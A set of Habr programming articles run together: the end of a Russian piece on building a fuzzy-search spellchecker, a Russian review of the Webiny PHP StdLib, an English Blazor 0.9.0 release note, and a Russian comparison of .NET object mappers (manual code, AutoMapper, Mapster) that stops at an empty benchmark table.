В `leads` записываются завершившие свой путь, в `next_g` попадают ещё не дошедшие. Сортируем ещё не дошедших по убыванию их шансов дойти:
```
sort( next_g.begin(), next_g.end(), ramb_chance_cmp );
```
И повторяем всё это до тех пор, пока ещё есть кому двигаться дальше. Игнорируем тех, чьи штрафы превысили `max_cost`, и тех, кто не вошёл в `team_size` лучших:
```
while ( !walkers.empty() )
{
team_t next_g;
for( size_t i = 0; i < min( walkers.size(), team_size ); ++i )
if ( walkers[i].cost < max_cost )
step_forward( walkers[i], next_g, leads );
walkers.swap( next_g );
sort( walkers.begin(), walkers.end(), ramb_chance_cmp );
}
```
Кстати, в `leads` могут оказаться по несколько структур с одинаковыми строками `done`. Догадаетесь, откуда они там?
Оставим только уникальные элементы:
```
sort( leads.begin(), leads.end(), ramb_done_cmp ); // сортируем по done
leads.resize( distance( leads.begin(),
unique( leads.begin(), leads.end(),
ramb_uniq ) ) ); // убираем дубли
sort( leads.begin(), leads.end(), ramb_chance_cmp ); // сортируем обратно
```
Вот почти и всё.
Сложим всё вышеописанное в функцию `spellcheck`, передадим в неё наше слово, максимальный штраф и количество кандидатов. Можно употреблять:
```
while( getline( cin, word ) )
{
team_t fixed = spellcheck( word, word.size()/2, 512 );
cout << word << endl;
for( size_t i = 0; i < fixed.size(); ++i )
cout << '\t' << fixed[i].done << ' ' << fixed[i].cost << endl;
cout << endl;
}
```
Ограничение в 512 кандидатов и максимальное отклонение в половину длины заданного слова я подобрал вручную. При таких параметрах производительность алгоритма примерно равна 10 словам в секунду, он справляется со словами `корован`, `инцыклапедея`, `печмодан` и `жаднокластник`, но не превращает `хлеб` в `пиво`.
Теперь совсем всё. Соберемся, запустимся. И вот пример работы нашего несложного, но эффективного механизма исправления опечаток:
```
нисложый
несложный 2
нно
эфентиыный
эффективный 3
михонезм
механизм 3
спровлени
исправление 3
опечатог
оператор 2
отпечаток 2
опечатка 2
```
Видно, что не все его результаты идеальны, но это поправимо.
#### Итоги пути
Уверен, многие узнали в описании одну из разновидностей информированного поиска — [алгоритм А\*](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_A*), вернее, его вариацию — алгоритм А\* с итеративным углублением и ограничением по памяти. Разумеется, описанный алгоритм является лишь первым, грубым приближением к тому, что реально используется в бою.
Что ещё должен уметь настоящий, боевой спеллчекер?
* В нашем эталонном словаре присутствуют только исходные формы слов, так что `мишки гамми` он исправит на `мишка гамма`, что неверно. Нужно иметь представление о морфологии, либо включить в словарь все формы слов. Первое лучше, но сложнее.
* Все слова равны. Это приводит к неточностям в выборе лучшей гипотезы:
```
перат
перст 1
пират 1
```
Проблема решится, если добавить сведения о частоте употребления слов.
* Все ошибки равны. Отсюда проистекают такие неуверенные результаты:
```
заец
заем 1
заяц 1
```
Исправляется путём градации штрафов в соответствии с вероятностью каждой возможной ошибки. Замена `я` на `е` более вероятна, чем `м` на `ц`, поэтому более вероятен `заяц`.
* «Пунто свитчинг». Тут всё просто. Добавляем таблицу соответствия вида `q-й`, `w-ц`, `a-ф` и ещё один тип опечатки — смена раскладки. Готово.
* Склейка и расклейка слов. Это несколько сложнее. Необходимо научить «путников» прыгать из листовых узлов дерева в его корень и отдельно обрабатывать пробелы в их «маршрутах».
* Контекстные исправления. Одни и те же слова в разных ситуациях должны исправляться по-разному. Например, `пришла веспа` и `сушите веспа`, `пиковый балет` и `проездной балет`, `футбольный меч` и `джедайский мяч`. Для исправления таких опечаток нужны статистические данные и/или грамматические правила. Иными словами, модель языка. Вот это уже совсем другая история.
#### Побочные эффекты
Было бы неправильно напоследок не упомянуть о выходящих за рамки нашей задачи возможностях описанного подхода.
* Если отменить штрафы за добавление символов в конец заданного «маршрута», то получим решение задачи **автодополнения**.
* Если вставить в программу таблицы фонетического соответствия символов, получим систему распознавания **транслита** любой степени неоднозначности. Алгоритм найдёт наиболее вероятное слово.
```
ж → j, zh, g, dj
j → й, ж, дж, х
...
```
* Переходы по дереву по правилам, заданным соответствием цифр и букв превратят спеллчекер в систему набора **Т9**:
```
2 → абвг
...
9 → ьэюя
```
* Стоимость ошибки, рассчитанная не на вероятностях опечаток, а исключительно на расстояниях между клавишами (вернее, их изображениями на сенсорном экране) служит основой системы «скользящего» ввода слов — **Swype**.
* Задача нечёткого поиска является частью систем распознавания речи, рукописных текстов… Впрочем, достаточно. Об этом написано уже действительно очень много.
Полный текст программы можно найти [здесь](http://pastebin.com/qxPHVAhY). Программа несколько длиннее знаменитого наноспеллчекера Питера Норвига, но зато значительно превосходит его по своим возможностям, не уступая по производительности.
Спасибо за внимание!
#### Небесполезные ссылки
* Источник вдохновения: [Online Spelling Correction for Query Completion](http://times.cs.uiuc.edu/duan9/fr090-duan.pdf)
* Самый короткий в мире спеллчекер от [Питера Норвига](http://norvig.com/spell-correct.html)
* [1200 способов написать слово «одноклассники»](http://clubs.ya.ru/company/replies.xml?item_no=18844) — можно использовать для расчёта модели ошибок
* Альтернативные подходы: [раз](http://habrahabr.ru/post/123320/), [два](http://habrahabr.ru/post/114997/), [три](http://habrahabr.ru/post/105450/)
*Михаил Долинин,
руководитель группы обработки поисковых запросов* | https://habr.com/ru/post/178401/ | null | ru | null |
# Webiny Framework. Первый взгляд
Есть шутка о типичной карьере разработчика:
1. Не использует фреймворки
2. Обнаруживает фреймворки
3. Пишет свои фреймворки
4. Не использует фреймворки
Пункт 4, конечно же, ссылается на новоприобретенные способности использовать Composer [для построения собственных фреймворков](http://www.sitepoint.com/build-php-framework-symfony-components/), создавая их из различных компонентов третьих сторон.
Все мы знаем, что экосистема PHP не страдает от нехватки различных фреймворков, и поэтому я немного удивился, когда увидел еще один, созданный сравнительно недавно.
Он называется [Webiny](http://www.webiny.com/webiny-framework/), и, будучи упакованным до краев усовершенствованиями и изменениями, которые они считают необходимыми, фреймворк имеет некоторые действительно интересные компоненты, на которые стоит взглянуть. В этой вводной статье мы не будем обращать внимание на структуру в целом, но осветим самые основные ее компоненты — `StdLib`.
#### Webiny StdLib
Нет, не то чтобы «std». `StdLib` лежит в основе всех остальных суб-компонентов фреймворка. Библиотека служит вспомогательным звеном, таким же, как и внедрение зависимостей или Symfony/Yaml в любом другом PHP проекте.
Среди прочего, StdLib, как и многие другие до нее, делает работу со скалярами значительно проще, добавляя свободный [объектно-ориентированный интерфейс](https://github.com/Webiny/StdLib/tree/master/StdObject) и некоторые вспомогательные методы. Например, есть облегченный `URLObject`, который содержит несколько методов для работы с редиректами, схемы, порты и т.д. Помимо помощи с ОО обертками, библиотека также предлагает базовую валидацию, методы, помогающие при сборке других Webiny-компонентов, простой трейт для реализации Singleton и многое другое.
Основное отличие `StdLib` заключается в том, что она реализована в виде набора [трейтов](http://www.sitepoint.com/using-traits-in-php-5-4/) — очень сильно недооцененной части современной разработки PHP. Например, вышеупомянутый `URLObject` создается вот так: `$this->url('http://www.webiny.com/');`, потому что трейт `StdObject` может быть добавлен к любому классу, которому необходима данная функциональность. Большинство других компонентов Webiny также реализованы на трейтах. Ввиду изолированного характера фреймворка, команда выбрала такой подход для упрощения иерархии классов и некоторого расширения возможностей.
`StdLib` можно использовать [автономно](https://github.com/Webiny/stdlib), напрямую из Composer или же вытянуть ее по зависимостям в качестве составной части всего [фреймворка](https://github.com/Webiny/Framework). Давайте посмотрим, что же она предлагает нам?
#### Особенности
Внутри StdLib состоит из двух суб-библиотек. Одна из них — [`Exception`](https://github.com/Webiny/StdLib/tree/master/Exception), используется только если вы намерены создавать дополнительные Webiny-компоненты. Другая — [`StdObject`](https://github.com/Webiny/StdLib/tree/master/StdObject), тут и содержится функционал, о котором мы говорили.
Кроме того, библиотека содержит трейты, которые используются в этих суб-библиотеках.
##### ComponentTrait
`ComponentTrait` полезен только, если вы создаете дополнительные Webiny-компоненты, чего мы пока делать не будем. Пропустим.
##### FactoryLoaderTrait
`FactoryLoaderTrait` полезен в вызове экземпляров класса, которые были динамически определены. Например:
```
$className = 'myNameSpace\myClass';
$argument1 = 'Hello';
$argument2 = 'World';
$mustBe = 'myNameSpace\mySubClass';
```
Чтобы инстанцировать класс `myClass` с аргументами «Hello» и «World», убедившись, что он является экземпляром `mySubClass` можно использовать следующие подходы:
```
// standard PHP
try {
$instance = new $className($argument1, $argument2);
if (!($instance instanceof $mustBe)) {
throw new Exception("Instances don't match!");
}
} catch (Exception $e) {
// Handle exception
}
```
```
// FactoryLoaderTrait approach
try {
$instance = $this->factory($className, $mustBe, [$argument1, $argument2]);
} catch (Exception $e) {
// Handle exception
}
```
Как видите, второй способ немного короче. Согласен, полезность этого трейта не внушает доверия, особенно с учетом того, что динамические имена классов не такая вещь, которую используют все, но если принять во внимание масштабы всей организации/фреймворка, то плюсы подобной стандартизации становятся очевидны. Подход с использованием этого трейта является просто «стандартом кодирования» для процесса создания экземпляров динамических классов, в некоторых ситуациях это может быть полезно.
##### SingletonTrait
[SingletonTrait](https://github.com/Webiny/StdLib/blob/master/SingletonTrait.php) мгновенно превращает ваш класс в Singleton. В интернете есть множество обширных дискуссий о «плохой природе Singleton» — не просто [древние топики](http://blogs.msdn.com/b/scottdensmore/archive/2004/05/25/140827.aspx), но и несколько [наших старых дискуссий](http://www.sitepoint.com/whats-so-bad-about-the-singleton/) об этом. На всякий случай, если вдруг не будет возможности реализовать нормальный DI-контейнер, то тут-то этот трейт нам и пригодится.
Имейте ввиду одну вещь — `__construct` кофликты. Трейт не реализует свою имплиментацию метода `__construct`, он может быть использован как в классах, которые имеют свою реализацию метода, так и в тех, которые используют [другие реализации](http://stackoverflow.com/questions/7104957/building-a-singleton-trait-with-php-5-4) `Singleton`. Но не забывайте, если вы решили использовать этот трейт, вы должны адаптировать свой конструктор класса в соответствии с паттерном.
Если вы новичок в работе с синглтонами, [этот пост может помочь](http://7php.com/how-to-code-a-singleton-design-pattern-in-php-5/).
Необходимо также отметить тот факт, что в данной реализации имплементируются публичный `init` и защищенный `_init` методы, и выполняются они именно в таком порядке после создания экземпляра.
Это полезно, так как вы можете использовать его в качестве механизма пост-инициализации для дальнейшего использования в качестве Singeton-объекта без необходимости полагаться на свой конструктор. Возможно, ваш класс все же имеет свой конструктор, и все что вам нужно — превратить его в Singleton, но такая магия нуждается в несколько более тонкой настройке. Как раз для подобных случаев идеально подходит этот трейт.
##### StdLibTrait
Трейт является сочетанием `StdObjectTrait` и `ValidatorTrait`. Сам по себе `StdLibTrait` содержит некоторые функции помощи кодирования/декодирования JSON, но они довольно скудны на данный момент, а как сериализовывать в JSON знают и другие PHP-аналоги. Возможно в этом месте лучше использовать [Serializer](http://symfony.com/doc/current/components/serializer.html) из Symfony — компонент, хорошо опробованный сообществом и имеющий поддержку мультиформатов.
##### ValidatorTrait
Начнем с того, что `ValidatorTrait` — простая коллекция родных для PHP методов проверки типа, обернутая в трейт. Я не уверен в его полезности и в причинах, которыми руководствовались авторы, т.к. API остается практически идентичным (`self::isArray()` vs `is_array()`), но предположу, что это как-то связано с возможностью расширять компонент, перегружать методы, реализуя собственный функционал.
В одном месте валидатор использует `StdObjectWrapper` для обеспечения плавного интерфейса проверки этих типов, который в свою очередь является частью подбиблиотеки `StdObject`, использующейся в Webiny в качестве объектно-ориентированной обертки для скаляров и форматирования URL.
##### StdObjectTrait
Это ядро компонента `StdLib`, [основная его часть](https://github.com/Webiny/StdLib/tree/master/StdObject). Этот трейт обеспечивает базовыми возможностями стандартного класса такие классы, как `ArrayObject`, `UrlObject`, `StringObject` и `DateTimeObject`.
##### StringObject
Пожалуй, самый простой из связки. Этот объект позволяет использовать строки в качестве объектов.
```
$string = $this->str("My string");
```
Экземпляр предоставляет возможность удобной смены кодировки (по умолчанию в кодировке UFT8) и некоторые вспомогательные методы, такие как `length`, `wordCount` и `subStringCount`, а также обертки некоторых встроенных PHP функций. Все это довольно полезно иметь под рукой, прямо внутри класса. Через `ManipulatorTrait`, общим для всех `StdObjects`, в `StringObject` также имеется доступ к методам, которые изменяют его: например, `trim` — самая частоиспользуемая и полезная фича при работе со строками.
Опять же, огромным преимуществом работы с трейтами является не только возможность иметь цепочку вызовов над `string`-объектом, но и автоподстановка в IDE:
```
$string = $this->str("This is a string");
echo $string->hash()->padLeft(45, "testing");
```
Вот так, в одну строчку мы взяли хэш и добавили слева `testing` до набора 45 символов. И вот результат — `testif72017485fbf6423499baf9b240daa14f5f095a1`. Врядли вы сможете сделать это еще проще и понятнее, чем в примере выше.
В качестве другого примера, посмотрите на этот код:
```
$string = new StringObject('Some test string.');
$string->caseUpper()->trimRight('.')->replace(' test'); // SOME STRING
```
Конечно, объект реализует метод `__toString` для непосредственной подготовки его к использованию в виде строки. Все другие объекты StdLib также имеют имплементацию этого метода для непосредственного вывода на печать. На выходе вы всегда сможете получить примитив для дальнейшей работы.
Эти методы слишком многочисленны, чтобы их перечислять; для получения более подробной информации просто посмотрите сами [в исходниках](https://github.com/Webiny/StdLib/blob/master/StdObject/StringObject/ManipulatorTrait.php).
##### ArrayObject
Аналогично `StringObject`, `ArrayObject` предлагает удобный интерфейс для работы с массивом. Естественно, он подходит для итераций через foreach и, вообще, ведет себя почти как родной массив.
```
$array = new ArrayObject(['one', 'two', 'three']);
$array->first(); // StringObject 'one'
$array->append('four')->prepend('zero'); // ['zero', 'one', 'two', 'three', 'four']
```
Обратите внимание, что при получении элементов из этого массива возвращаются экземпляры `StdObject`, а не фактические скаляры. Возвращаемое значение всегда будет иметь тип `StdObjectAbstract`. Строки производят `StringObject`, массивы производят `ArrayObject`. Цифры, что может быть несколько непоследовательным, производят экземпляры `StdObjectWrapper` со свойством `_value`, в котором и задано наше число. Если элемент — это класс, то этот класс также будет обернут. Например:
```
$array = $this->arr([1, "2", new myClass(1, 2)]);
var_dump($array->last());
```
Вот что мы получим:
Я не уверен в своих ощущениях по поводу этого. С одной стороны — это суперпоследовательно, мы всегда получаем `StdObjectWrapper` в той или иной форме. Но с другой стороны, если я имею дело с массивом классов, я не могу просто забыть об обертке и работать как раньше: каждый раз нужно уделять некоторое внимание этому аспекту. Конечно, есть способ получить реальные значения из любого `StdLib`-объекта путем вызова метода `val`, который вытаскивает базовое значение, содержащееся внутри.
Для разнообразных манипулятивных приемов с массивами, базирующимися на `ArrayObject`, смотрите на [соответствующий трейт](https://github.com/Webiny/StdLib/blob/master/StdObject/ArrayObject/ManipulatorTrait.php). Я нахожу синтаксис по принципу цепочки особенно полезным, ведь можно спуститься в многомерный массив указав `key1.key2.key3` в качестве индекса, что, в свою очередь, является довольно впечатляющей экономией времени:
```
$array = [
'k1' => 'test',
'k2' => [
'k3' => [
'k4' => 'deepest'
]
]
];
$a = new ArrayObject($array);
$a->key('k2.k3.k4', 'webiny');
$a->key('k2.k3.k5', 'anotherElement');
echo $a->key('k2.k3.k4'); // webiny
echo $a->key('k2.k3.k5'); // anotherElement
```
##### URLObject
Этот объект помогает сделать синтаксис вашего кода, работающего с URL, чище. Он поддерживает некоторые распространенные коды ответа, методы подписи запросов, работу с портами и другими переменными, а также может [легко манипулировать](https://github.com/Webiny/StdLib/blob/master/StdObject/UrlObject/ManipulatorTrait.php) — переключать схемы, хосты, домены и т.д. с помощью одной строчки надежного кода.
Странно, что `URLObject` не наследуется от `StringObject`. Для меня наличие наследования имело бы смысл, по сути, они оба бы выиграли от от манипулятивных приемов друг друга.
Существуют библиотеки для работы с URL-адресами и получше, так что я не вижу особых преимуществ именно у этой. Первый пример, который приходит на ум — великолепная [PHP League URL library](http://url.thephpleague.com/), которая делает все это и многое другое, имеет отличное качество кода, который полностью протестирован и активно поддерживается более чем десятком высококвалифицированных разработчиков.
##### DateTimeObject
Наконец, есть `DateTimeObject`. Это обертка над объектом datetime, обеспечивающая более свободный и естественный интерфейс работы, а также помогающая решить большую часть проблем, возникающих при работе со временем:
```
$dt = new DateTimeObject('3 months ago');
echo $dt; // 2013-02-12 17:00:36
$dt->add('10 days')->sub('5 hours'); // 2013-02-22 12:00:36
```
Само собой, `DateTimeObject` будет очень удобен, если вы пока еще не используете какую-либо библиотеку для работы со временем, но для более сложных манипуляций с datetime я бы порекомендовал [Carbon](https://github.com/briannesbitt/Carbon), немного приправленный библиотекой [Period](http://period.thephpleague.com/).
Нельзя сказать, что `DateTimeObject` совсем уж бесполезен — он по умолчанию поддерживает работу с часовыми поясами, у него удобный формат вывода даты, простые и легкие diffs в качестве альтернанивы `Period`, удобочитаемое «x времени назад», зависимое от часовых поясов и многое другое.
#### Вывод
Имея все это, Webiny-фреймворк позволяет разработчикам входить в проект со своим нативным PHP кодом. Все обертки ведут себя именно так, как ожидает разработчик. Слишком амбициозно? Возможно. Но я рассматриваю это как интересный подход, определяющий стандарты кодирования перед началом работы над проектом — он позволяет обойтись без проблем, возникающих в ходе дальнейшего проектирования, экономя время в долгосрочной перспективе. Единственный недостаток, который я вижу — необходимость использовать use в каждом отдельном классе, в котором вы хотите иметь поддержку StdObject.
Проект Webiny масштабный и интересный. Фреймворк впечатляет, его компоненты охватывают обширные области. Вопрос о том, действительно ли это необходимо, я оставляю на вас. Если вам интересно, почему я так много внимания ему уделяю внимания, и зачем весь этот пост, то ответ будет простым — мне нравится играть с новыми вещами; мне немного любопытно как они работают изнутри.
В последующих постах мы рассмотрим другие Webiny компоненты и даже сделаем пример событийно-ориентированного приложения с использованием фреймворка, а также оценим его эффективность и гибкость. А пока, попбробуйте сами и расскажите о своем опыте. | https://habr.com/ru/post/256309/ | null | ru | null |
# Blazor 0.9.0 experimental release now available
Blazor 0.9.0 is now available! This release updates Blazor with the Razor Components improvements in .NET Core 3.0 Preview 3.
New Razor Component improvements now available to Blazor apps:
* Improved event handling
* Forms & validation
Checkout the [ASP.NET Core 3.0 Preview 3 announcement](https://devblogs.microsoft.com/aspnet/asp-net-core-updates-in-net-core-3-0-preview-3/) for details on these improvements. See also the Blazor 0.9.0 [release notes](https://github.com/aspnet/Blazor/releases/tag/0.9.0) for additional details.
Note: The Blazor templates have not been updated to use the new .razor file extension for Razor Components in this release. This update will be done in a future release.
Get Blazor 0.9.0
----------------
To get started with Blazor 0.9.0 install the following:
1. [.NET Core 3.0 Preview 3 SDK](https://dotnet.microsoft.com/download/dotnet-core/3.0) (3.0.100-preview3-010431)
2. [Visual Studio 2019](https://visualstudio.com/preview) (Preview 4 or later) with the *ASP.NET and web development* workload selected.
3. The latest [Blazor](https://go.microsoft.com/fwlink/?linkid=870389) extension from the Visual Studio Marketplace.
4. The Blazor templates on the command-line:
```
dotnet new -i Microsoft.AspNetCore.Blazor.Templates::0.9.0-preview3-19154-02
```
You can find getting started instructions, docs, and tutorials for Blazor at [blazor.net](https://blazor.net).
Upgrade to Blazor 0.9.0
-----------------------
To upgrade your existing Blazor apps to Blazor 0.9.0 first make sure you’ve installed the prerequisites listed above.
To upgrade a Blazor 0.8.0 project to 0.9.0:
* Update the Blazor packages and .NET CLI tool references to 0.9.0-preview3-19154-02.
* Update the remaining Microsoft.AspNetCore.\* packages to 3.0.0-preview3-19153-02.
* Remove any usage of `JSRuntime.Current` and instead use dependency injection to get the current `IJSRuntime` instance and pass it through to where it is needed.
Give feedback
-------------
We hope you enjoy this latest preview release of Blazor. As with previous releases, your feedback is important to us. If you run into issues or have questions while trying out Blazor, [file issues on GitHub](https://github.com/aspnet/aspnetcore/issues). You can also chat with us and the Blazor community on [Gitter](https://gitter.im/aspnet/blazor) if you get stuck or to share how Blazor is working for you. After you’ve tried out Blazor for a while please let us know what you think by taking our in-product survey. Click the survey link shown on the app home page when running one of the Blazor project templates.
Thanks for trying out Blazor! | https://habr.com/ru/post/443394/ | null | en | null |
# Блеск и нищета мапперов объектов в .net
Не каждый бобер способен разглядеть в себе единорогаВсем привет, меня зовут Сергей, я системный архитектор в компании Bimeister, и, как вы уже догадались, сегодня мы поговорим про маппинг объектов в .net.
Мы сравним несколько популярных подходов и библиотек для маппинга, дадим общее представление и посмотрим на различия, которые стоит учитывать при выборе инструментов.
Статья ориентирована на младших разработчиков, которые впервые сталкиваются с темой маппинга объектов и на всех неравнодушных. В данной статье мы не будем касаться широкой темы разнообразных ОRМ-ов (ObjectRelational Mapping), а также темы сериализации/десериализации данных, которую тоже часто называют маппингом. Мы рассмотрим сопоставление объектов между различными слоями нашего приложения, например DТО (Data Transfer Object) и объектом из базы данных, с которым оперирует Entity Framework.
Итак, начнём!
Начнем со всем известных понятий...
-----------------------------------
Уровень данных (Data Layer) — предоставляет источники данных остальной части приложения, содержит локальные и удаленные источники данных, мапперы и репозитории.
Уровень домена (Domain Layer) — содержит бизнес-логику, оперирует кейсами и моделями предметной области и репозитории.
Уровень представления (Presentation Lауег) — содержит действия, фрагменты модели представлений и адаптеры.
### Зачем это нужно?
С увеличением кодовой базы проекта мы, как правило, задумываемся о выстраивании удобной для разработки и поддержки кода архитектуры... и приходим к проблеме маппинга объектов с одного слоя на другой.
Внедрение такой архитектуры уменьшает связывание кода и повышает его тестируемость, вследствие чего проект становится проще обслуживать, но при этом добавляет много boilerplate-кода. Чтобы уменьшить количество такого кода, нужно правильно выбрать подход для маппинга объектов.
У нас несколько классов, которые представляют собой сущности уровней данных и представления:
```
public class ClientDto
{
public long Id { get; set; }
public string Email { get; set; }
public string? FullName { get; set; }
}
```
```
public class EntityObject
{
public Guid Id { get; set; }
public string Type { get; set; }
public string Name { get; set; }
public string? Description { get; set; }
public long ClientId { get; set; }
public DateTime StartDate { get; set; }
public DateTime UpdateDate { get; set; }
}
```
```
public class EntityDto
{
public Guid Id { get; set; }
public string Type { get; set; }
public string Name { get; set; }
public string? Description { get; set; }
public DateTimeOffset StartDate { get; set; }
public DateTimeOffset UpdateDate { get; set; }
public ClientDto Client { get; set; }
}
```
Давайте же посмотрим, какие есть способы смаппить объекты.
Способ №1. Ручной маппинг объектов.
-----------------------------------
Никаких пререквизитов нет. Самый простой способ сделать это — создать инстанс объекта вручную в том месте, где вам нужен целевой объект:
```
EntityObject sourceObject = await _someService.GetObjectAsync();
EntityDto dest = new()
{
Id = sourceObject.Id,
Type = sourceObject.Type,
Name = sourceObject.Name,
Description = sourceObject.Description,
StartDate = sourceObject.StartDate,
UpdateDate = sourceObject.UpdateDate,
Client = new ClientDto
{
Id = sourceObject.ClientId
}
};
```
Для того чтобы снизить дублирование, можно вынести эту часть в отдельный метод или сделать extension:
```
public static class MappingExtensions
{
public static EntityDto MapToDto(this EntityObject? mappingObject)
{
if (mappingObject == null)
throw new ArgumentNullException(nameof(mappingObject));
EntityDto dest = new()
{
Id = mappingObject.Id,
Type = mappingObject.Type,
Name = mappingObject.Name,
Description = mappingObject.Description,
StartDate = mappingObject.StartDate,
UpdateDate = mappingObject.UpdateDate,
Client = new ClientDto
{
Id = mappingObject.ClientId
}
};
return dest;
}
}
```
Плюсы:
* вы сами управляете всем и можете реализовать любой по сложности маппинг;
* не нужны дополнительные зависимости и их конфигурация.
Минусы:
* вам приходится самим управлять своим маппингом, даже в простых конфигурациях;
* в некоторых случаях не получится полностью избежать дублирования инфраструктурного кода.
Способ №2. С использованием AutoMapper
--------------------------------------
Нам нужен NuGet-пакет, для использования в ASP.NET проще всего использовать этот:
```
dotnet add package AutoMapper.Extensions.Microsoft.DependencyInjection
```
Чтобы зарегистрировать mapper и конфигурацию в DI, достаточно добавить в ConfigureServices следующую строчку:
```
services.AddAutoMapper(assembly1, assembly2 /*, ...*/);
// or
services.AddAutoMapper(type1, type2 /*, ...*/);
```
Это зарегистрирует конфигурацию MapperConfiguration как Singleton и реализацию IMapper как transient, а также добавит дополнительно различные converters, resolvers и т.д.
И, собственно, сам маппинг:
```
EntityObject sourceObject = await _someService.GetObjectAsync();
// IMapper mapper достается из DI
mapper.Map(\_sourceObject);
// Также есть non-generic версия этого метода,
// когда вы не знаете какой у вас тип во время компиляции
```
Для простых сценариев это подойдет, но если вы хотите управлять маппингом, есть возможность настроить профиль:
```
public class MappingProfile : Profile
{
public MappingProfile()
{
CreateMap()
.ForMember(dest => dest.Id, o => o.MapFrom(src => src.Id))
.ForMember(dest => dest.Type, o => o.MapFrom(src => src.Type))
.ForMember(dest => dest.Name, o => o.MapFrom(src => src.Name))
.ForMember(dest => dest.Description, o => o.MapFrom(src => src.Description))
.ForMember(dest => dest.StartDate, o => o.MapFrom(src => src.StartDate))
.ForMember(dest => dest.UpdateDate, o => o.MapFrom(src => src.UpdateDate))
.ForMember(dest => dest.Client, o => o.MapFrom(src => new ClientDto {Id = src.ClientId}));
}
}
```
Когда нам нужна гибкость и мы хотим взять под контроль преобразование одного типа в другой, можно использовать механизм TypeConverters:
```
public class DateTimeTypeConverter : ITypeConverter
{
public DateTime Convert(string source, DateTime destination, ResolutionContext context)
{
return System.Convert.ToDateTime(source);
}
}
```
И использовать его в профиле:
```
.ForMember(dest => dest.UpdateDate, o => o.ConvertUsing(src => src.UpdateDate));
```
Для работы с вычисляемыми значениями есть IValueResolver и IMemberValueResolver.
Automapper имеет также [много дополнительных настроек](https://docs.automapper.org/en/latest/Configuration.html) в виде управления NamingConventions, замены символов в членах класса, определения prefix/postfix при маппинге членов класса, фильтрации полей, включения компиляцию конфигураций маппингов ([по умолчанию компиляция ленивая](https://docs.automapper.org/en/latest/Configuration.html?highlight=compilation#configuration-compilation)) и т.д.
**Плюсы:**
* сокращается большое количество инфраструктурного кода;
* не нужны дополнительные зависимости и их конфигурация.
**Минусы:**
* механизм с профилями сложен в поддержке, так как сложно понять, какие профили используются;
* появляются дополнительные зависимости в проектах, нужно актуализировать список assembly, в котором лежат профили, чтобы исключить ошибки при маппинге;
* при сложных маппингах или маппинге больших коллекций наблюдается деградация производительности.
AutoMapper хорошо использовать в небольших проектах или в ситуации когда профили меняются редко и когда мы не "выжимаем" максимум возможностей гонясь за каждыми миллисекундами.
**Информация о библиотеке:**
* **Исходный код:** [Github](https://github.com/AutoMapper/AutoMapper)
* **Документация**: [Docs](https://docs.automapper.org/)
* **Популярность:** Stars 9K/Forks 1.7K, постоянные релизы раз в пару месяцев
* **Последний релиз:** октябрь 2022
* **Количество загрузок в nuget:** 300 миллионов
Способ 3. С использованием Mapster
----------------------------------
Для работы с библиотекой нам также нужен дополнительный NuGet-пакет:
```
dotnet add package Mapster.DependencyInjection
```
Добавляем в DI через ConfigureServices и конфигуриуем:
```
...
services.AddSingleton(TypeAdapterConfig.GlobalSettings);
services.AddScoped();
...
```
Mapster имеет разные режимы работы, в том числе с использованием кодогенерации. Это позволяет получить большую производительность и меньшее потребление памяти. Видеть использование ваших моделей и отлаживать код, который отвечает за маппинг:
```
EntityObject sourceObject = await _someService.GetObjectAsync();
// маппинг в новый объект
EntityDto destObject = sourceObject.AdaptTo();
// или в существующий объект
sourceObject.AdaptTo(destObject);
```
Настройка маппинга осуществляется через TypeAdapterConfig:
```
public class MappingConfig : TypeAdapterConfig
{
public MappingConfig()
{
ForType()
.Map(dest => dest.Id, src => src.Id)
.Map(dest => dest.Name, src => src.Name);
}
}
```
Библиотека может почти все то же, что и AutoMapper, касательно [Naming Conventions](https://github.com/MapsterMapper/Mapster/wiki/Naming-convention) и [Custom Converters](https://github.com/MapsterMapper/Mapster/wiki/Custom-conversion-logic).
Mapster — [также гибко настраиваемый](https://github.com/MapsterMapper/Mapster/wiki/Custom-mapping), умеет маппинг private-членов класса, условный и с нескольких источников.
Дополнительно хочу отметить возможность маппить отдельные свойства и null propagation:
```
TypeAdapterConfig.NewConfig()
.Map(dest => dest.Client.Id, src => src.ClientId);
TypeAdapterConfig.NewConfig()
.Map(dest => dest.ClientId, src => src.Client.Id);
```
Кодогенерация предполагает, что Mapster сам сможет сформировать целевой DTO и реализовать маппинги для него. Для ее работы нужен пакет Mapster.Tools:
```
dotnet add package Mapster.Tools
```
И интерфейс для маппера:
```
[Mapper]
public interface IEntityObjectMapper
{
EntityDto MapTo(EntityObject student);
}
```
Вот и все, в результате сборки мы получим сгенерированный файл \*.g.cs, в котором будет реализован маппинг. Такие файлы я рекомендую исключить из репозитория, это позволит избежать проблем при совместной работе, например, когда кто-то из разработчиков менял свойства исходного объекта и не пересобрал проект.
**Плюсы:**
* Есть кодогенерация, которая меняет подход к маппингу объектов.
* Во многих случаях производительность выше чем в AutoMapper, и ниже потребление памяти.
**Минусы:**
* Варианты с кодогенерацией не совсем привычны, особенно если использовал раньше AutoMapper.
* Меньше возможностей кастомизации — я не нашел аналогов IMemberValueResolver.
Mapster был разработан, чтобы быть эффективным решением по скорости и памяти, если вы пишите высокопроизводительный продукт — этот маппер окажется хорошим выбором.
**Информация о библиотеке:**
* **Исходный код:** [Github](https://github.com/MapsterMapper/Mapster)
* **Документация**: [Docs](https://github.com/MapsterMapper/Mapster/wiki/Basic-usages)
* **Популярность:** Stars 3K/Forks 237, релизы несколько раз в год
* **Последний релиз:** Февраль 2022
* **Количество загрузок в nuget:** 8 миллионов
Производительность
------------------
Тесты выполнялись с помощью [BenchmarkDotNet](https://github.com/dotnet/BenchmarkDotNet).
Первая колонка говорит нам про название теста, я протестировал простой маппинг и маппинг коллекций различных размеров. Все примеры можно увидеть [по ссылке на Github](https://github.com/skutylev/Net.Mappers). Остальные колонки: среднее значение работы теста, ошибка, стандартное отклонение и медиана. Вся техническая информация о запуске и результаты приведены в таблице:
```
BenchmarkDotNet=v0.13.2, OS=Windows 10 (10.0.19044.2006/21H2/November2021Update)
Intel Core i5-10210U CPU 1.60GHz, 1 CPU, 8 logical and 4 physical cores
.NET SDK=6.0.305
[Host] : .NET 6.0.10 (6.0.1022.47605), X64 RyuJIT AVX2
Job-MNIIYB : .NET 6.0.10 (6.0.1022.47605), X64 RyuJIT AVX2
Runtime=.NET 6.0 RunStrategy=Throughput
```
| Method | Mean | Error | StdDev | Median |
| --- | --- | --- | --- | --- |
